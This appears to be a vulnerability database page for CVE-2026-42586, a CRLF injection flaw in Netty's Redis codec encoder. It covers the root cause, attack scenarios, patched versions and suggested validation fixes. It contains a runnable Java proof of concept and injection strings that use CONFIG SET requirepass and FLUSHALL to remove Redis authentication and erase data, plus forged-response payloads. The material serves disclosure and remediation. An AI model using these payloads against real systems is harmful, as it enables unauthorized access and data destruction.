NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
☕
☕ Maven
Not in CISA KEV
MEDIUM severity

CVE-2026-42586 — netty-codec-redis

MEDIUM

CVE-2026-42586 is a medium-severity (CVSS 6.8) CWE-93 vulnerability in io.netty:netty-codec-redis. A fix is available for io.netty:netty-codec-redis — see the affected versions and patch details below.

Netty: CRLF Injection in Netty Redis Codec Encoder

Also known asGHSA-rgrr-p7gp-5xj7
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42586.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs12th percentile — riskier than 12% of all scored CVEsHighest risk
0.00%0.24%0.48%0.72%0.0%0.2%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
☕io.netty:netty-codec-redis☕io.netty:netty-codec-redis

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder

1. Vulnerability Summary

FieldValue
ProductNetty
Version4.2.12.Final (and all prior versions with codec-redis)
Componentio.netty.handler.codec.redis.RedisEncoder
Vulnerability TypeCWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection)
ImpactRedis Command Injection / Response Poisoning
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
Confidentiality ImpactHigh
Integrity ImpactHigh
Availability ImpactNone

2. Affected Components

The following classes in the codec-redis module are affected:

  • io.netty.handler.codec.redis.RedisEncoder (encoder - no output validation)
  • io.netty.handler.codec.redis.InlineCommandRedisMessage (no input validation)
  • io.netty.handler.codec.redis.SimpleStringRedisMessage (no input validation)
  • io.netty.handler.codec.redis.ErrorRedisMessage (no input validation)
  • io.netty.handler.codec.redis.AbstractStringRedisMessage (base class - no validation)

3. Vulnerability Description

The Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.

Root Cause

In RedisEncoder.java, the writeString() method (lines 103-111) writes content using ByteBufUtil.writeUtf8() without any validation:

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
                                     RedisConstants.EOL_LENGTH);
    type.writeTo(buf);
    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION
    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \r\n
    out.add(buf);
}

The message constructors (InlineCommandRedisMessage, SimpleStringRedisMessage, ErrorRedisMessage) inherit from AbstractStringRedisMessage, which only checks for null:

// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    // NO CRLF validation
}

Comparison with Similar Fixed CVEs

This vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:

CVEComponentFix
GHSA-jq43-27x9-3v86SmtpRequestEncoder - SMTP command injectionAdded SmtpUtils.validateSMTPParameters() to check for \r and \n
GHSA-84h7-rjj3-6jx4HttpRequestEncoder - CRLF in URIAdded HttpUtil.validateRequestLineTokens() to check for \r, \n, and SP

The Redis codec has no equivalent validation in either the encoder or the message constructors.

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-redis module to communicate with a Redis server
  2. User-controlled input is placed into InlineCommandRedisMessage, SimpleStringRedisMessage, or ErrorRedisMessage content
  3. The application does not perform its own CRLF sanitization before constructing these message objects

Important context: Most production Redis clients built on Netty use the RESP array format (ArrayRedisMessage + BulkStringRedisMessage), which uses binary-safe length-prefixed encoding and is not affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.

Affected use cases include:

  • Custom Redis clients or proxies that use InlineCommandRedisMessage for simplicity
  • Redis middleware/proxy layers that forward SimpleStringRedisMessage or ErrorRedisMessage responses
  • Applications that construct Redis monitoring or diagnostic commands from user input
  • Redis Sentinel or Cluster management tools using inline command format

5. Attack Scenarios

Scenario 1: Redis Command Injection via Inline Commands

When Netty is used as a Redis client or proxy, and user-controlled data is placed into InlineCommandRedisMessage, an attacker can inject arbitrary Redis commands:

// Application code that builds Redis commands from user input
String userKey = request.getParameter("key");  // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);

Attack input: key = "foo\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL"

Result: Three commands sent to Redis:

  1. GET foo
  2. CONFIG SET requirepass "" (removes authentication!)
  3. FLUSHALL (deletes all data!)

Scenario 2: Redis Response Poisoning

When Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:

// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);

Malicious upstream response: "OK\r\n$6\r\nhacked"

Client sees:

  1. Simple String: +OK (expected response)
  2. Bulk String: $6\r\nhacked (injected fake data!)

Scenario 3: Error Message Injection

ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

Attack input: errorDetail = "unknown\r\n+FAKE_SUCCESS"

Client sees:

  1. Error: -ERR unknown
  2. Simple String: +FAKE_SUCCESS (injected fake success!)

6. Proof of Concept

Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

How to Compile and Run

# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty Redis Encoder CRLF Injection PoC ===

[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input:   InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
  Command 1: PING
  Command 2: CONFIG SET requirepass ""
  Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!

[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input:   SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!

[TEST 3] Error Message CRLF Injection
--------------------------------------
Input:   ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!


=== PoC Complete ===

7. Impact Analysis

Impact CategoryDescription
ConfidentialityHIGH - Attacker can execute CONFIG GET to extract sensitive Redis configuration, use KEYS * to enumerate all data
IntegrityHIGH - Attacker can execute SET/DEL/FLUSHALL to modify or destroy data, CONFIG SET to change server configuration
AvailabilityCan be HIGH - FLUSHALL destroys all data, SHUTDOWN stops the server, DEBUG SLEEP causes DoS
Authentication BypassCONFIG SET requirepass "" removes authentication
Data ExfiltrationLua scripting via EVAL enables complex data extraction

8. Remediation Recommendations

Option 1: Validate in Message Constructors (Recommended)

Add CRLF validation to AbstractStringRedisMessage:

AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    validateContent(content);
}

private static void validateContent(String content) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "Redis message content contains illegal CRLF character at index " + i);
        }
    }
}

Option 2: Validate in Encoder (Defense-in-Depth)

Add validation in RedisEncoder.writeString():

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new RedisCodecException(
                "Redis message content contains CRLF at index " + i);
        }
    }
    // ... existing encoding logic
}

Option 3: Both (Best Practice)

Apply validation in both the constructor and the encoder, following the pattern used for SMTP:

  • SmtpUtils.validateSMTPParameters() validates in DefaultSmtpRequest constructor
  • This provides defense-in-depth against custom SmtpRequest implementations

9. Resources

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.netty:netty-codec-redis≥ 4.2.0.Alpha1&&< 4.2.13.Final4.2.13.Finalio.netty:netty-codec-redis:4.2.13.Final
☕Mavenio.netty:netty-codec-redisall versions4.1.133.Finalio.netty:netty-codec-redis:4.1.133.Final

Affected Products

1 product · 2 configurations
Application
nettynetty
≥ 4.2.0 && < 4.2.13
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-redis, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.netty:netty-codec-redis to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42586 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate
ProductFixed inAdvisory
Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16netty-codec-redisRHSA-2026:37390
Red Hat Data Grid 8.6.2netty-codec-redisRHSA-2026:41951
UbuntuMEDIUM

Frequently Asked Questions

# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-redis) | | **Component** | `io.netty.handler.codec.redis.RedisEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) | | **Impact** | Redis Command Injection / Response Poisoning | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | None | | **User Interaction** | None | | **Sco
O3 Security · Impact-Aware SCA

Is CVE-2026-42586 in your dependencies?

Find it across Maven, including transitive dependencies.

CVE-2026-42586: netty-codec — Fixed in 4.2.13.Final